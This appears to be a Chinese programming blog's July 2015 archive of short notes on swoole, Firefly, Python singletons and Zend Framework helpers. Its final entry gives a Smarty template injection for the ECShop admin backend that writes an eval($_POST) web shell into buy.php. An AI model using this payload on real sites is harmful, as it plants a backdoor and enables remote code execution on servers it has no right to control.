#! /usr/bin/python # -*- coding: utf-8 -*- import timeit def while_one(): i = 0 while 1: i += 1 if i == 10000000: break def while_true(): i = 0 while True: i += 1 if i == 10000000: break if __name__ == "__main__": w1 = timeit.timeit(while_one, "from __main__ import while_one", number=3) wt = timeit.timeit(while_true, "from __main__ import while_true", number=3) print "while one: %s\nwhile_true: %s" % (w1, wt)
月度归档:2015年07月
php-cp压力测试
测试过程 省略1万字
。。。。。。。。。。。。。。
测试结果 一个字,牛B
swoole framework route
cd examples
php app_server.php
http://127.0.0.1:9502/?c=page&v=view_test
swoole的心跳设置
<?php $serv = new swoole_server("127.0.0.1", 9501); $serv->set(array( 'worker_num' => 8, //工作进程数量 'daemonize' => false, //是否作为守护进程 'max_connection'=>50, 'heartbeat_check_interval' => 5, //每隔5秒做一次心跳检查 'heartbeat_idle_time' => 6, //检查最近一次发送数据的时间和当前时间的差 大于指定的值就强制关闭 ));
其中heartbeat_idle_time的默认值是heartbeat_check_interval的两倍。
在设置这两个选项后,swoole会在内部启动一个线程
每隔heartbeat_check_interval秒后遍历一次全部连接,检查最近一次发送数据的时间和当前时间的差
如果这个差值大于heartbeat_idle_time,则会强制关闭这个连接,并通过回调onClose通知Server进程。
基于swoole的socket服务器与python客户端打包解包
swoole:
$serv->on('receive', function ($serv, $fd, $from_id, $data) { $head=substr($data,0,17); $msg=substr($data,17); $ar_msg=json_decode($msg,true); var_dump($ar_msg); $head_array=unpack('cHEAD_0/cHEAD_1/cHEAD_2/cHEAD_3/cProtoVersion/NServerVersion/Nsendstrlen/NcommandId',$head); var_dump($head_array); $serv->send($fd, 'Swoole11111111: '.$data); //$serv->close($fd); });
python 打包:
def sendData(sendstr,commandId): """78,37,38,48,9,0""" HEAD_0 = chr(78) HEAD_1 = chr(37) HEAD_2 = chr(38) HEAD_3 = chr(48) ProtoVersion = chr(9) ServerVersion = 0 sendstr = sendstr data = struct.pack('!sssss3I',HEAD_0,HEAD_1,HEAD_2,\ HEAD_3,ProtoVersion,ServerVersion,\ len(sendstr)+4,commandId) senddata = data+sendstr return senddata
firefly之netconnlost
首先是netserver
from net import initconfig initconfig.loadModule()
接下来看initconfig.py中
from firefly.server.globalobject import GlobalObject from firefly.netconnect.datapack import DataPackProtoc def callWhenConnLost(conn): dynamicId = conn.transport.sessionno GlobalObject().remote['gate'].callRemote("netconnlost",dynamicId) #remote call netconnlost in gate server GlobalObject().netfactory.doConnectionLost = callWhenConnLost #netlost dataprotocl = DataPackProtoc(78,37,38,48,9,0) GlobalObject().netfactory.setDataProtocl(dataprotocl) def loadModule(): import netapp import gatenodeapp
往下就是去gate中调用 netconnlost 自定义网络断开后要作的清理动作
@rootserviceHandle def netconnlost(dynamicId): '''客户端断开连接时的处理 @param dynamicId: int 客户端的动态ID ''' vcharacter = VCharacterManager().getVCharacterByClientId(dynamicId) print 111111111111111111111111 if vcharacter and vcharacter.getNode()>0:#判断是否已经登入角色 vcharacter.lock()#锁定角色 d = SavePlayerInfoInDB(dynamicId)#保存角色,写入角色数据 d.addErrback(SaveDBSuccedOrError,vcharacter)#解锁角色 d.addCallback(dropClient,dynamicId,vcharacter)#清理客户端的数据 else: UsersManager().dropUserByDynamicId(dynamicId)
python下的常见两种单例
#coding:utf8 class Singleton(type): """Singleton Metaclass""" def __init__(self, name, bases, dic): super(Singleton, self).__init__(name, bases, dic) self.instance = None def __call__(self, *args, **kwargs): if self.instance is None: self.instance = super(Singleton, self).__call__(*args, **kwargs) return self.instance class UsersManager: __metaclass__ = Singleton def __init__(self): print "init" self._users = {} def singleton(cls, *args, **kw): instances = {} def _singleton(): if cls not in instances: instances[cls] = cls(*args, **kw) return instances[cls] return _singleton @singleton class adminuser: def __init__(self): print "inits" self._user={} v=UsersManager() t=UsersManager() f=adminuser() g=adminuser()
解析simplexml_load_string
$xmlstring = file_get_contents( 'php://input' ); $array_data = json_decode(json_encode(simplexml_load_string($xmlstring, 'SimpleXMLElement', LIBXML_NOCDATA)), true); var_dump($array_data);
zend framework 添加自定义helper
首先添加helper目录
Zend_Controller_Action_HelperBroker::addPath('../application/helpers/actions', 'Helper_');
新建helper文件
<?php class Helper_Comm extends Zend_Controller_Action_Helper_Abstract { public function abc(){ $ff=Zend_Registry::get('abc'); return $ff; } }
action中调用:
public function indexAction() { echo 123; Zend_Registry::set('abc','dddddddddd'); $abc=$this->_helper->Comm->abc(); echo $abc; exit; // action body }
view_helper: 添加路径
public function testAction(){ $this->view->addHelperPath('../application/helpers/views/', 'View_Helper_'); }
<?php class View_Helper_Ftest extends Zend_Controller_Action_Helper_Abstract { public function ftest() { return 'lol123'; } }
view 调用:
<!DOCTYPE html> <html> <head lang="en"> <meta charset="UTF-8"> <title></title> </head> <body> fttttttttttttttttttttttttttttttt <?=$this->Ftest();?> <br> <?=$this->Gtest();?> </body> </html>
smarty get shell ecshop 后台get shell
abc 分别为 < ? eval ($_POST[1]); 分三次执行 {assign var="abc" value='($_POST[1]);'} {assign var="files" value="buy.php"} {assign var="func" value="file_put_contents"} {if $func($files,$abc,FILE_APPEND)}123{/if}